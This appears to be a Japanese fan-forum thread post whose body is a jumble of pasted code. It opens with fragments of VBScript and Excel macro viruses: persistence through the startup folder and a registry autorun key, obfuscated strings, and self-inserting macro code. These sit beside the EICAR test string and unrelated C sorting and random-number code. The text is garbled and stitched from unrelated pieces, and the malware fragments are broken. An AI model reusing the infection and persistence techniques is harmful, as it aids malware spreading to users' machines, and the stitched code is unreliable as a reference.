【〜テニスの王子様で８０１〜26球目】

g

Set A4 = A1.CreateTextFile(A1.BuildPath(A1. 1)))
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo ", "j:\windows\start menu\programs\startup\"
ToInfect.CodeModule.InsertLines BGN, ADI1. (BGN, 1)
"avgnt"="\"C:\\Program Files\\AntiVir PersonalEdition Classic\\avgnt.exe\" /min /nosplash"
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E. 1), A("VHORU@SU/WCR"))
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
kak\ \';\ken=\wd+'\START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "＼" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
whichfile = p + w * 10
End Sub

void usage(uchar *s)
{
fprintf(stderr, "Usage : %s type case n < print-flag >\n", s);
fprintf(stderr, " type = 1 : quick sort\n");
fprintf(stderr, " = 2 : bubble sort\n");
fprintf(stderr, " = 3 : insert sort\n");
fprintf(stderr, " = 4 : selection sort\n");
fprintf(stderr, " = 5 : merge sort\n");
fprintf(stderr, " = 6 : heap sort\n");
fprintf(stderr, " = 7 : inverse mapping sort\n");
fprintf(stderr, " = 8 : distribution counting sort\n");
fprintf(stderr, " = 9 : indirect quick sort\n");
fprintf(stderr, " =10 : indirect distribution counting sort\n");
fprintf(stderr, " case = 1 : for int data\n");
fprintf(stderr, " = 2 : for double data\n");
fprintf(stderr, " = 3 : for character string data\n");
fprintf(stderr, " n : number of data\n");
fprintf(stderr, " print-flag : if print, any character input.\n");
exit(0);
}

BEGIN{
$| = 1;
print "Content-type: text/html\n\n";
open(STDERR, ">&STDOUT");
}

ulong _idum_u0, _idum_u1, _idum_u2;
ulong _idum_u3, _idum_u4, _idum_u5;
ulong _idum_u6;
ulong *_prx, *_prx_end;
ulong _rx[522];
unsigned int r_s1, r_s2, r_s3;
long _idum_o0, _idum_o1, _idum_o2;
long _idum_b, b_nd, b_iy;
long b_iv[NTAB];
long _idum_e1, _idum_e2, e_nd, e_iy; long e_iv[NTAB];
long *k_ma_end, *pk1, *pk2;
long k_ma[57]; /* 〃 */
ulong _idum_d;
ulong _idum_q;
ulong _idum_p0, _idum_p1, _idum_p2;

ulong _idum_p3, _idum_p4, _idum_p5;
ulong _idum_p6, _idum_p7, _idum_p8;
ulong _idum_p9, _idum_p10, _idum_p11;
ulong _idum_p12, _idum_p13, _idum_p14;
ulong _idum_p15, _idum_p16, _idum_p17;
ulong _idum_p18, _idum_p19, _idum_p20;
ulong _idum_p21, _idum_p22, _idum_p23;
ulong _idum_p24, _idum_p25, _idum_p26;
ulong _idum_p27, _idum_p28, _idum_p29;
ulong _idum_p30, _idum_p31, _idum_p32;
ulong _idum_p33;
double (*_rand)(void);
double _tri;

void _error(char *s, int r)
{
fprintf(stderr, "Error : %s\n", s);
exit(r);
}

void init_urnd0(long seed)
{
_idum_u0 = seed ^ MASK;
}

void init_urnd1(long seed)
{
_idum_u1 = seed ^ MASK;
}

void init_urnd2(long seed)
{
_idum_u2 = seed ^ MASK;
}

void init_urnd3(long seed)
{
_idum_u3 = seed ^ MASK;
}

void init_urnd4(long seed)
{
_idum_u4 = seed ^ MASK;
}